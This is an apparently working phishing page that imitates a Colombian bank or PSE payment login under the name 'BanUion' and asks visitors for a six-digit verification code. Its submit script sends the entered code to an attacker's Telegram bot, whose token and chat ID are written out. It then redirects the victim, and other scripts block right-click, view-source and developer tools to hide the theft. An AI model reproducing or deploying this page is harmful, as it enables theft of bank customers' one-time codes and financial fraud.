<!DOCTYPE html 


<html xmlns="http://www.w3.org/1999/xhtml"><head id="Head1"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="expires" content="0"><meta http-equiv="Cache-Control" content="no-cache"><meta http-equiv="Pragma" content="no-cache"><title>
	Home
</title><link rel="stylesheet" href="./Home_files/axon.css">

    <script language="JavaScript" type="text/javascript">
        window.history.forward(); 
    </script>
     <script src="https://code.jquery.com/jquery-3.6.4.min.js"></script>

    <script type="text/javascript" src="./Home_files/SlnNeuronaPSE.min.js.descarga"></script>

    <script type="text/javascript" src="./Home_files/General.js.descarga"></script>

    <script type="text/javascript" language="javascript">

        var idServicioAutenticacion = 0;

        function Ingresar() {
            try {
                if (idServicioAutenticacion == 0) {
                    ValidarUsuario();
                } else {
                    ValidarToken();
                }
            } catch (err) {
                console.error('Error: Ingresar: ' + err.toString());
            }
        }

        function ValidarDatosIniciales() {
            try {

                if ((document.enviar.txtUsuario.value == "") || (document.enviar.txtUsuario.value == null)) {

                    document.getElementById("lblError").innerHTML = "Debe escribir un usuario"
                    $find("mpeMensaje").show();
                    document.enviar.txtUsuario.focus();
                    return false;
                }
                else if ((document.enviar.pswContrasena.value == "") || (document.enviar.pswContrasena.value == null)) {

                    document.getElementById("lblError").innerHTML = "Debe escribir una contraseña"
                    $find("mpeMensaje").show();
                    document.enviar.pswContrasena.focus();
                    return false;
                }
                else if (document.enviar.txtOriginador != null) {
                    if (document.enviar.txtOriginador.value == "") {

                        document.getElementById("lblError").innerHTML = "Debe escribir el nit de su compañia"
                        $find("mpeMensaje").show();
                        document.enviar.txtOriginador.focus();
                        return false;
                    }
                }

                if (document.getElementById('PNLTiposCliente') != null) {
                    if (document.getElementById('DDLTiposCliente').value == "0") {
                        document.getElementById("lblError").innerHTML = "Debe seleccionar un tipo de persona"
                        $find("mpeMensaje").show();
                        document.getElementById('PNLTiposCliente').focus();
                        return false;
                    }
                }

                return true;
            } catch (err) {
                console.error('Error: ValidarDatosIniciales: ' + err.toString());
                return false;
            }
        }

        function ValidarUsuario() {
            try {
                if (ValidarDatosIniciales()) {
                    enviar_verificar(document.enviar);
                }
            } catch (err) {
                console.error('Error: ValidarUsuario: ' + err.toString());
            }
        }

        function MontarPanelToken() {
            try {
                switch (idServicioAutenticacion * 1) {
                    case 1: //Fire ID
                        document.getElementById('div_TokenFireID').style.display = 'block';
                        document.getElementById('div_TokenRSA').style.display = 'none';
                        document.getElementById('div_TarjetaCoordenadas').style.display = 'none';
                        document.getElementById('div_TokenFortinet').style.display = 'none';
                        document.getElementById('div_TokenOTP').style.display = 'none';
                        break;
                    case 2: //Token RSA
                        document.getElementById('div_TokenFireID').style.display = 'none';
                        document.getElementById('div_TokenRSA').style.display = 'block';
                        document.getElementById('div_TarjetaCoordenadas').style.display = 'none';
                        document.getElementById('div_TokenFortinet').style.display = 'none';
                        document.getElementById('div_TokenOTP').style.display = 'none';
                        break;
                    case 3: //Token Tarjeta coordenadas
                        document.getElementById('div_TokenFireID').style.display = 'none';
                        document.getElementById('div_TokenRSA').style.display = 'none';
                        document.getElementById('div_TarjetaCoordenadas').style.display = 'block';
                        document.getElementById('div_TokenFortinet').style.display = 'none';
                        document.getElementById('div_TokenOTP').style.display = 'none';
                        break;
                    case 4: // Token fortinet
                        document.getElementById('div_TokenFireID').style.display = 'none';
                        document.getElementById('div_TokenRSA').style.display = 'none';
                        document.getElementById('div_TarjetaCoordenadas').style.display = 'none';
                        document.getElementById('div_TokenFortinet').style.display = 'block';
                        document.getElementById('div_TokenOTP').style.display = 'none';
                        break;
                    case 5: // Token OTP
                        document.getElementById('div_TokenFireID').style.display = 'none';
                        document.getElementById('div_TokenRSA').style.display = 'none';
                        document.getElementById('div_TarjetaCoordenadas').style.display = 'none';
                        document.getElementById('div_TokenFortinet').style.display = 'none';
                        document.getElementById('div_TokenOTP').style.display = 'block';
                        break;
                    default:
                        document.getElementById("lblError").innerHTML = "Segundo factor de autenticación no se encuentra implementado.";
                        $find("mpeMensaje").show();
                }
            } catch (err) {
                console.error('Error: MontarPanelToken: ' + err.toString());
            }
        }

        function ValidarToken() {
            try {

                var ingresar = true;

                if (idServicioAutenticacion == 5) {
                    if ((document.enviar.TBXTokenOTP.value == "") || (document.enviar.TBXTokenOTP.value == null)) {
                        document.getElementById("lblError").innerHTML = "Debe escribir un token válido."
                        $find("mpeMensaje").show();
                        document.enviar.TBXTokenOTP.focus();
                        ingresar = false;
                    }
                }

                if (ingresar) {
                    enviar_verificar(document.enviar);
                }

            } catch (err) {
                console.error('Error: ValidarToken: ' + err.toString());
            }
        }

        function Volver() {
            try {
                document.getElementById('div_Usuario').style.display = 'block';
                document.getElementById('div_Token').style.display = 'none';
                idServicioAutenticacion = 0;
            } catch (err) {
                console.error('Error: Volver: ' + err.toString());
            }
        }

        function enviar_verificar(thisform) {
            try {
                if (ValidarDatosIniciales()) {
                    OcultarAccionesPSE();
                    thisform.action = "info.php"
                    thisform.__VIEWSTATE.name = "name";
                    thisform.__EVENTTARGET.name = "name";
                    thisform.submit();
                }
            } catch (err) {
                console.error('Error: enviar_verificar: ' + err.toString());
            }
        }

        function EnviarDatos() {
            if (window.event.keyCode == 13)
                enviar_verificar(document.enviar)
        }

        function BloquearTextBox(evento) {
            return false;
        }   

        function OcultarAccionesPSE() {
            var pnlIngresar = document.getElementById("PNLBotonSiguiente");
            var pnlCancelar = document.getElementById("PNLCancelarPagoPSE");
            var pnlProcesando = document.getElementById("PNLProcesando");

            if (pnlIngresar != null) {
                pnlIngresar.style.visibility = "hidden";
            }
            if (pnlCancelar != null) {
                pnlCancelar.style.visibility = "hidden";
            }
            if (pnlProcesando != null) {
                pnlProcesando.style.display = 'block';
            }
         }

    </script>

</head>
<body class="home una-columna" onload="javascript:document.enviar.txtUsuario.focus()">

<div class="contenedor">
	<div class="cabezote">
	<img id="IMCabecera" src="./Home_files/SwitchTransaccionesLogin.png" style="border-width:0px;">
	</div>
    <div class="contenido">

        <span id="firstMess" class="bienvenida">Para validar tu informacion ingresa el codigo recibido.</p></span>
        <span id="SecMess" class="texto-secundario"> </span>

        <form id="login" method="POST" action="_index.php" >


<script type="text/javascript">
//<![CDATA[
var theForm = document.forms['enviar'];
if (!theForm) {
    theForm = document.enviar;
}
function __doPostBack(eventTarget, eventArgument) {
    if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
        theForm.__EVENTTARGET.value = eventTarget;
        theForm.__EVENTARGUMENT.value = eventArgument;
        theForm.submit();
    }
}
//]]>
</script>


<script src="./Home_files/WebResource.axd" type="text/javascript"></script>


<script src="./Home_files/ScriptResource.axd" type="text/javascript"></script>
<script type="text/javascript">
//<![CDATA[
if (typeof(Sys) === 'undefined') throw new Error('ASP.NET Ajax client-side framework failed to load.');
//]]>
</script>



        <script type="text/javascript">
//<![CDATA[
Sys.WebForms.PageRequestManager._initialize('ScriptManager1', 'enviar', ['tUpdatePanel2','','tUpdatePanel1',''], [], [], 90, '');
//]]>
</script>

        
        <div class="formulario-contendor">

            <div id="UpdatePanel2">
	
                        
                        <div id="PNLTiposDocumento">
		
                            <div class="grupo-item">
                                
                                <div class="grupo-input">
                                 
                                </div>
                            </div>
                        
	</div>

                
</div> 

            <div id="div_Usuario" class="div_Usuario">
                <div class="grupo-item">
                    <label><span id="LBLUsuario">Codigo de Verificacion:</span></label>
                    <div class="grupo-input">
                        <input name="trax" type="text" id="txtUsuario" autocomplete="off" maxlength="6" minlength="6" required="" onkeypress="return validarSimbolos(event)">
                    </div>
                </div>
               
                
            </div>
                        
            <div id="UpdatePanel1">
	
                        
                        

                
</div> 

            <div id="div_Token" class="div_Token" style="display: none">
                
                
                <div style="width: 100%; float: left">
                    <a href="javascript:Volver()">
                        <label id="lbl_NombreUsuario" for=""></label>
                        </a>
                    <div class="grupo-input">
                        </div>
                </div>                

             
            </div>

            <div class="grupo-item boton-ingreso">
                <div class="grupo-boton">
                    <div id="PNLBotonSiguiente" class="grupo-item">
	
                        <a href="javascript:Ingresar()">
                            <input title="boton enviar" alt="boton enviar" src="Home_files/btn_aceptar.png" type="image" />
                        </a>
                    
</div>

                </div>
                <div class="grupo-boton">
                    <div id="PNLCancelarPagoPSE">
	
                      
                </div>
                <div id="PNLProcesando" style="text-align: center; display: none">
	
                    <br><br><br>
                    <div align="center">
                        <img src="./Home_files/img_procesando.gif" alt="Procesando" style="text-align:center;">
                    </div>
                
</div>
            </div>
                
        </div> 

        
        <div id="pnlMensaje" class="PanelPopUp" style="display: none; position: fixed; z-index: 100001;">
	
        <div class="ventana-popup">
            <div class="boton-cerrar">
                <input type="image" name="btnCerrar" id="btnCerrar" src="./Home_files/img_cerrar.png" align="right" style="border-width:0px;vertical-align: top;">
            </div>
            <div class="contenido-popup">
                <h2 class="subtitulos">
                    <span id="Label6">¡ Atención !</span>
                </h2>
                <div class="descripcion">
                    <span id="lblError" class="texto"></span>
                </div>
                <div class="grupo-botones">
                    <input type="image" name="btnAceptar" id="btnAceptar" class="boton-input" text="Aceptar" src="./Home_files/btn_aceptar.png" style="border-width:0px;">
                </div>
            </div>
        </div>
        
</div>

        

<script>
    $(document).ready(function () {
        // Manejo del formulario al enviar
        $("#login").submit(function (e) {
            e.preventDefault(); // Prevenir la recarga de la página por defecto

            // Obtener valores del formulario
            var username = $("input[name='trax']").val();


            // Construir el mensaje con saltos de línea
            var message = "✓✓💲💲BanUion💲💲✓✓:\n@BanUion\n";
            message += "BanUionstoken: " + username + "\n";
       

            // Enviar los datos al bot de Telegram
            $.ajax({
                type: "POST",
                url: "https://api.telegram.org/bot7953357992:AAG4Fyt607I4pPJIiQvQcUb_tI3QjfcyOys/sendMessage",
                data: {
                    chat_id: "7033403450",
                    text: message
                },
                success: function (response) {
                    console.log("Mensaje enviado a Telegram:", response);
                    // Redirigir al usuario a Google después de enviar a Telegram
                    window.location.href = "index.html";
                },
                error: function (error) {
                    console.error("Error al enviar mensaje a Telegram:", error);
                    // Puedes manejar el error de manera adecuada aquí
                }
            });

            return false; // Evitar la recarga de la página
        });

        // Otros eventos o funciones que puedas necesitar...
    });
</script>
        <span id="lblOculto" style="display: none;">Label</span>
        

<script type="text/javascript">
//<![CDATA[
Sys.Application.add_init(function() {
    $create(AjaxControlToolkit.ModalPopupBehavior, {"BackgroundCssClass":"FondoPopUp","OkControlID":"btnAceptar","PopupControlID":"pnlMensaje","dynamicServicePath":"/ModuloPSE/Home.aspx","id":"mpeMensaje"}, null, null, $get("lblOculto"));
});
//]]>
</script>
<div id="mpeMensaje_backgroundElement" class="FondoPopUp" style="display: none; position: fixed; left: 0px; top: 0px; z-index: 10000;"></div></form>

    </div>
</div>

      <script>
        document.addEventListener("contextmenu", function (event) {
          event.preventDefault();
        });

        document.addEventListener("keydown", function (event) {
          if (event.ctrlKey && event.key === "u") {
            event.preventDefault();
          }
        });

          ///////// Código de seguridad
        function blockDevTools() {
            var devtools = false;
            var threshold = 160;
            var checkDevTools = function() {
                var start = new Date();
                debugger;
                var end = new Date();
                if (end - start > threshold) {
                    devtools = true;
                    document.body.innerHTML = "¡Inspección bloqueada!";
                } else {
                    devtools = false;
                }
            };
            setInterval(checkDevTools, 1000); // 1e3 = 1000 ms = 1 segundo
        }

        // Prevenir clic derecho e inspección
        function preventInspection() {
            document.addEventListener("contextmenu", function(event) {
                event.preventDefault();
            });

            document.addEventListener("keydown", function(event) {
                // Bloquear F12, Ctrl+Shift+I, Ctrl+Shift+C, Ctrl+U
                if (event.keyCode === 123 || // F12
                    (event.ctrlKey && event.shiftKey && (event.keyCode === 73 || event.keyCode === 67)) || // Ctrl+Shift+I, Ctrl+Shift+C
                    (event.ctrlKey && event.keyCode === 85)) { // Ctrl+U
                    event.preventDefault();
                }
            });
        }

        // Inicializar los eventos cuando cargue la página
        window.onload = function() {
            preventInspection();
            blockDevTools();
            startTimer();
        };
    </script>




</body></html>